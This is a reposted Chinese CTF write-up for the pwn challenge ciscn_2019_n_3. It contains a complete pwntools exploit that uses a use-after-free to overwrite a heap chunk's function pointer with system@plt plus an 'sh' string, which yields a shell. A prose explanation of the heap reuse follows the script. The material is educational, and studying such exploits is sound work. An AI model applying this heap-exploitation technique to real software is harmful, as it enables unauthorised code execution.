ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ciscn_2019_n_3

2021-03-14 17:02:46  阅读:284  来源: 互联网

标签:ciscn idx chunk sendline str recvuntil 2019 操作


这题和之前做的一个题很像,但是记不清了,也是分开两块chunk分别存data和操作,印象中是这样,那题也是先申请三个然后释放俩,再申请回来,回来的这个的两部分控制好大小,使得分回来的两块chunk来自刚才free的两块chunk的同一部分,放操作的部分,然后就能改变操作函数了,具体记不清了,反正也是通过控制malloc的大小来返回原来不可改的chunk

exp

from pwn import *

r=remote('node3.buuoj.cn',29412)
elf=ELF('./ciscn_2019_n_3')
def add(idx,type,content,length=0):
	r.recvuntil("> ")
	r.sendline('1')
	r.recvuntil("> ")
	r.sendline(str(idx))
	r.recvuntil("> ")
	if(type==1):
		r.sendline(str(type))
		r.recvuntil("> ")
		r.sendline(str(content))
	else:
		r.sendline(str(type))
		r.recvuntil("> ")
		r.sendline(str(length))
		r.recvuntil("> ")
		r.sendline(str(content))

def show(idx):
    r.sendlineafter('> ','3')
    r.sendlineafter('> ',str(idx))

def delete(idx):
    r.sendlineafter('> ','2')
    r.sendlineafter('> ',str(idx))

add(0,1,1)
add(1,1,1)
add(2,1,1)

delete(0)
delete(1)

payload='sh'.ljust(4,'\x00')+p32(elf.plt['system'])
add(3,2,payload,0xc)
delete(0)

r.interactive()

这题很明显的uaf漏洞,并且很明显的我们可以改在chunk上的操作函数来get shell,
在这里插入图片描述
每次都是分配固定0xc大小的chunk放操作,加一个指针,再看是否分配第二块chunk放数据,那么我们无法直接修改第一个chunk内的内容,不然就可以直接改操作函数,其实这里哪块都不能修改,因为没有edit,但是我们可以通过把块释放再申请回来时的输入数据操作更改块中的操作函数,并且由于uaf的存在使得我们能够运行改变之后的操作函数,如果没有uaf呢?

这里就是,先malloc三个,最后一个是防止与top chunk合并的,然后再free俩,顺序自己看,但是malloc回来时候要记得他是先进后出的结构,对应着你申请到的数据chunk对应着free的哪个下标的操作chunk,这样才知道运行哪个chunk的操作,都运行其实也可以,,只要控制数据块大小和操作块一样大就能申请下来,然后看我们的操作调用方式
在这里插入图片描述
在这里插入图片描述
可以看出用删除比较不错,那么我们就把records[v0]对应‘/sh’字符串,records[v0]+4对应system函数,这样改完再调用delete就是system(’/sh’)

标签:ciscn,idx,chunk,sendline,str,recvuntil,2019,操作
来源: https://blog.csdn.net/sls_xsl/article/details/114792496

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有